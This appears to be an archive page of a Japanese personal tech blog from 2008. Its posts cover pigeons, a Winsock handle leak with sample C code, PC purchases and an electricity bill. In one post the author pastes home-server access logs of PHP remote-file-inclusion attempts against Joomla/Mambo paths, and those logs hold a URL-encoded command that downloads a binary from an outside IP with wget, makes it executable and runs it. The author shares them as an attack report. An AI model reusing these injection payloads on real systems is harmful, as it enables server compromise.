過去の投稿記事 new!
・【画像】漫画でわかる外国人参政権
・東京電力のHPで停電状態が確認できたり(サービス再開!)
・戦国時代 ~ 江戸時代の徳川家康が熱かった
・vaio のバッテリは寿命が短いような気がする
・話題の Western Digital 製 WD20EARS を購入した
・C01LC をビックカメラで買ってきた
・2025年には空中都市が現実化?!
・【動画】わかりやすい「宇宙ひも理論」
・今世紀には「富士山噴火」「東海連動地震」「首都圏直下型地震」か?
・滅びた町、南浜町が Googleストリートビューで見れる

【 amazon 送料無料キャンペーン 】

バックリンクはご自由にどうぞ!     http://mfsocket.blogspot.com/feeds/posts/default?alt=rss リンク集 / ログイン

2008/04/26
ハトも電線の上にとまるらしい

 
ハトって電線の上にとまるんですね。
 
 
P1010294
 
知りませんでした。。( ´д`)
 
 
ハトが電線の上にとまってるのが異常に珍しく感じて、、ついつい持っていた携帯でカメラで撮影。
 
 
僕は知りませんでしたが、
 
ハトが電線の上にとまるって、常識なんでしょうか?w
 
 
 
 
P1010293
 
しかもこの方々、大雨の中でも電線の上に待機してた
 
 
いっつも地上で見かけるだけに、驚きますた。 

2008/04/23
Winsock でハンドルリーク

 
今、あるフリーソフトでハンドルリークしている事がわかりました( ´д`)
 
と言っても環境によっては、発生しているのかひじょーにわかりづらく、
今日まで発見が遅れたのですが。。
 
 
具体的なことはまた更新すると思いますが、ようは
 
   WSAStartup() /  WSACleanup() 
 
 
を対で何回も呼んで、socket を生成しているとハンドルリークするみたいです。
 
 
今まで自分の設計としては "通信をするときだけ"
 
Winsock の初期化/解放をしていた のですが、
 
それでは問題があったようです( ´д⊂
 
 
今テストしている OS は WindowsXPPro/SP2 で、
 
   VC6.0    SP1 Release版のマルチスレッドDLL
   VC2005 SP1 Release版のマルチスレッドDLL
 
でコンパイル/リンクした exe でダメだったので、たぶん 全 Windows で同じ
結果になると思います。
 
 
ソースのイメージとしては以下のとおり
#include <Winsock2.h>
#include <Windows.h>
#include <process.h>

UINT ConnectThread()
{
      SOCKET s;
      s = socket( ... );
     // TCP でサーバと通信する
 
      closesocket(s);
      _endthreadex(0);
      return 0;
}

UINT ManagerThread()
{
      HANDLE h[4];
      int i, ret;
      while( true ){
            // WinSock の初期化 ここだ!
            WSADATA wsa;
          ret = WSAStartup( MAKEWORD(2,0), &wsa );
 
            // スレッドの生成
            for( i=0 ; i<4 ; i++ ){
                 h[i]  = (HANDLE)_beginthreadex( ConnectThread );
            }
            // スレッドの終了待機          
            for( i=0 ; i<4 ; i++ ){
                 WaitforSingleObject( h[i], INFINITE );
                 CloseHandle( h[i] );
            }

            // WinSock の解放 ここ!
            WSACleanup();

            Sleep( 1000 * 20 );     

     }

     _endthreadex(0);
      return 0;
}

 

int main( int argc, char* argv[] )
{
      HANDLE h = (HANDLE)_beginthreadex( ManagerThread );
      WaitforSingleObject( h, INFINITE );
      CloseHandle( h  );
      return 0;
}

 
簡単に説明するとまず、
 
マネージャスレッドというのが、メインスレッドから生成されます。
 
そしてマネージャスレッドからは、実際にコネクション処理を実行する
コネクションスレッド4つほど生成させます。
 
そのコネクションスレッドの中でソケットのクライアント側をコーディングする
わけです。
 
 
そこでは非常に単純で、socket()  connect()   send()   recv()   shutdown() 
closesocket()  を順にやっていくだけです。
 
蛇足ですが、実際はエラー処理をもっと組み込んでいます。
 
 
そしてそのプログラムを1時間~4時間ほど実行すると、、
落ちます。
 
 
チェックの手順としては、タスクマネージャー等で本プロセスを監視していると、
 
ほんのちょっとずつ・・・ハンドルリークしていってる
 
のがわかります。
 
 
これを回避するには、ソースの中でここ!と書いてる箇所をループの外に出せば
回避可能になります。
 
私の憶測も含まれてますが、
 
   WSAStartup()  は何回コールしても良い → msdn かどっかでもそうあった
 
   WSAStartup() / WSACleanup()  のセットはプロセスで1回のみが良い→結論 

ってな感じですな( ´д`)

2008/04/20
年齢を基準にしての比較をすると

 
最近ちょっと思います。
 
 
自分の年齢を少し振り返ってみると、新人時代に
 
この人マジすげぇΣ(゜Д゜ )
 
と思った人と、年齢が同じになっていた模様( その当時の人と )
 
 
その人は、その時にすでに本を執筆してたり、プログラミング能力が他の人より秀でてたりと、
中々いないすごいお方でした。
 
 
今の自分は、その当時のその人に少しは近づいたのだろうか?
 
 
たぶん、世間の認知度という意味では圧倒的に追いついてない。
 
「自分は自分」というのを私はよく言うのですが、あえて比較してみるのも面白いよ( ´д`)
 
 
 
最近、仕事のことばっかりで、色んな行動を起こす為のペースが大幅に疎かになってるので、
休みの日を有効活用しなければ・・。
 
 
と考えてるけど、、休みになると
 
睡眠の誘惑には勝てません( ´д`)
 
 
平和が大好きなのかもしれない(´・ω・‘)

2008/04/14
ニュースやブログ系をひろってみる 4/14

 
最近ちょっと疲れ気味です( ´д`)
 
以前拾ってたネットニュースも含め、久しぶりに拾ってみますた。
 
 
 
 
 google_logo
 
安いのをピックアップしても、年収が 1757万円。
 
 
なんすかこの待遇Σ(゜Д゜ ) 
 
 
しかも補助制度充実しすぎ!!
 
 
きっと Google にいるプログラマには誰一人、実力でもお金でも勝て無そう。。( ´д`)
 
神レベルのプログラマが在籍してるんでしょーな。
 
 
 
 
 hikaku_kakou
 
 
日本でもマクドナルドの画像加工には定評がありますが、海外でも変わらないようです。
 
しかしここまで来ると詐欺レベルじゃないのかな?w
 
 
 
 
 hanamaru_teiki
 
うどん好きだけど、毎日食べると絶対空きる 気がする。
 
むしろ、3日目ぐらいで、、、、
 
けど、食べ物での "定期券" っていう発想はかなりいいと思うな。
 
ファミレスとかで使えるような定期券あったらいいなー。
 
 

2008/04/12
パソコンが欲しい欲しい病

 
ここ最近、魅力あふれるパソコンが3つあります( ´д`)
 
 
今回はその魅力あふれるパソコンの紹介をしてみます。
 
私はすでに5台所持しているので、いい加減 置き場所 電源 が足り無いのですが。。w
 
 
まずは本当の本当に省スペースPCの、エプソンのST110 です。
st110
 
 
評判としては、PC自体の拡張性には欠けるみたいですが、3Dゲームをバリバリする以外の用途では
普通にいけそうなので、かなり欲しいです。
 
場所を取らないってのが何といっても魅力!
 
評価参考:
 
 
 
 
続いてソニーの TYPE-Uモデル VGN-UX92NS です。
vgn-ux92ns
 
これはモバイルPCとしては、最高のスペックを持っており、かつ最軽量というのに非常に惹かれます!
 
ただ、そろそろ新型が発表されるかもしれない時期でもあり、購入には一歩戸惑ってしまう
 
評判としては、リカバリディスクが付いていない件や、CDドライブを内臓していない等のデメリットもあるようす。
 
評価参考:
 
 
 
 
 
続いてはDOS/V のPrime Galleria QX です。
PrimeGalleriaQX
 
何よりPCスペックが信じられないほど高いので、メインマシンの乗り換え候補として欲しいんです。
 
ただDOS-Vの評判などを見ていると、購入するのに大きく躊躇( ちゅうちょ )してしまう。
ショップブランドなら仕方ない事なのでしょうか?
 
熱暴走でフリーズするという情報があり、非常に不安な所です。
 
 
 
 
 
 
なお、私もよく利用していた HP( ヒューレットパッカード ) ですが、ここは
 
ディスプレイの性能が・・大分宜しくない
 
かもしれません。
 
 
1台目のCRTディスプレイは、1年ちょいで故障しました。
 
2台目の液晶ディスプレイは、1年ちょいで、接触不良からか赤い縦線を発生させる事が出来ます。
うまく調整すると、回避出来ますが。。
 
あと、内臓のHDD2台のPCともオシャカになりました。
 
まぁハードディスクに関しては、交換すれば良いので納得ですが( ´д`)
 
それ以外は基本的に好調みたいなので、値段を考えるとHPのパソコンは良いのかも?
 
私の中では、HDDとディスプレイが思ったよりも早く故障する件は、ほぼ確定していますが。。

2008/04/11
自宅サーバーが攻撃されてる件

 
最近、自宅サーバーのアクセスログを見ていると、 PHP の脆弱性を狙った攻撃
かなり増えています( ´д`)
 
 
進入しようとしてるんだろうけどさぁ。
 
 
攻撃しても無駄なのに(´・ω・‘)
 
 
ってことで最近、アタックしてきたログを貼り付けておきます。
 
IPアドレスは偽装している可能性もあるため、伏字にしといてあげよう。
 
けど、アクセスして進入できるかの結果を知りたい場合、レスポンスを受け取るために、このIPアドレスで
攻撃されてることは間違いなさそうだけどね。
 
たぶん proxy かな?
 
------------------------------------------------------------
62.112.159.16x - - [11/Apr/2008:15:23:27 +0900] "POST /xmlrpc.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:29 +0900] "POST /blog/xmlrpc.php HTTP/1.1" 404 294 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:30 +0900] "POST /blog/xmlsrv/xmlrpc.php HTTP/1.1" 404 301 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:31 +0900] "POST /blogs/xmlsrv/xmlrpc.php HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:32 +0900] "POST /drupal/xmlrpc.php HTTP/1.1" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:34 +0900] "POST /phpgroupware/xmlrpc.php HTTP/1.1" 404 302 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:35 +0900] "POST /wordpress/xmlrpc.php HTTP/1.1" 404 299 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:36 +0900] "POST /xmlrpc.php HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:38 +0900] "POST /xmlrpc/xmlrpc.php HTTP/1.1" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:39 +0900] "POST /xmlsrv/xmlrpc.php HTTP/1.1" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:40 +0900] "GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 289 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:41 +0900] "GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 288 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:43 +0900] "GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 295 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:44 +0900] "GET /admin/business_inc/saveserver.php?thisdir=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 312 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:45 +0900] "GET /administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 338 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:47 +0900] "GET /components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 324 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:48 +0900] "GET /administrator/component/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 337 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:49 +0900] "GET /component/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 323 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:50 +0900] "GET /com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 313 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:52 +0900] "GET /joomla/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 345 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:53 +0900] "GET /blog/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:54 +0900] "GET /forum/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 344 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
62.112.159.16x - - [11/Apr/2008:15:23:56 +0900] "GET /page/administrator/components/com_extcalendar/admin_settings.php?CONFIG_EXT[ADMIN_PATH]=http://85.17.18.113/cmd.gif?&cmd=cd%20/tmp;wget%2085.17.18.113/lnikon;chmod%20755%20lnikon;./lnikon;echo%20YYY;echo|  HTTP/1.1" 404 343 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)"
------------------------------------------------------------
 
 
しかし、PHP の脆弱性を狙ったアクセスログがここのところ多い。。
 
ほぼ毎日、色んなパターンでアクセスしてきてるんだが。

2008/04/10
HPのnx6120( ノートPC )が完全復活!

 
HPのノートPC nx6120完全復活しました!
 
去年の、調子が悪すぎるという記事から約1年たちましたが・・( ´д`)
 
 
原因は、予想通り HDD がイカれてたようです。
 
 
左が新品、右がお疲れ様HDD
P1010288
 
 
なんとか、、自力で入れ替えれました(`・ω・´)
 
 
それにしても、所持してたノートPCってこんなに快適だったとは。。
 
私は5台PCを持ってるのですが、その中でもノートPCが一番体感スペックがある 

2008/04/06
電気代に異常が無くなった件

 
以前、電気代が異常な件というのを書いたのですが、あれから2カ月経過し・・今回は、
 
 
電気会社に心配されちゃったΣ(゜Д゜ )
 
 
どんな心配をされたかと言うと・・画像をキャプったので下記に載せてみます。
 
 
クリックで拡大
dennkineta_02
 
 
先月/去年の同月と比べ有り得ないほどの電気の使用量が減ったため、
 
「電気の使用量がおかしいけど、、引越したの?」
 
というご心配だったようです( ´д`)
 
 
 
まぁ、たしかに前月までは 12000 ~ 18000円の請求だったのが、今回は約3分の1の 4000 円代
大幅に電気の使用量が減ったからかもしれません。
 
 
dennkineta_01
 
それにしても、電気節約したら1万円以上の差が平気で出る今の自分の環境が
怖くて仕方ありません。。
 
古い電機器具が、異常なほど無駄な待機電力を使用していたってことでしょうか( ´д`)
 
もちろん、それだけでは無いでしょうが、、、うーん、もっと減らせるか試してみたいかも。

2008/04/01
エイプリルフール 2008

 
おおおお、エイプリルフール!
 
 
今日は嘘ついてもいいんですよ、奥さん( ´д`)
 
 
実際何も無いけど、毎年 4/1 のエイプリルフールは、ちょっとだけワクワクします。
今年は、ためしに会社の同僚に "軽い嘘" ついてみますた。
 
それなりにありえない話をしたつもりなのですが、、
 
信じてもらえたので、ちょっと申し訳なかったw
 
 
さてさて、今年もネット上でも色々と企画を練ってたりするのでしょうか?
 
情報収集してないのでわかりませんが、皆さんもだまされないように?お気をつけ下さい( ´д`)
 
 
関連記事: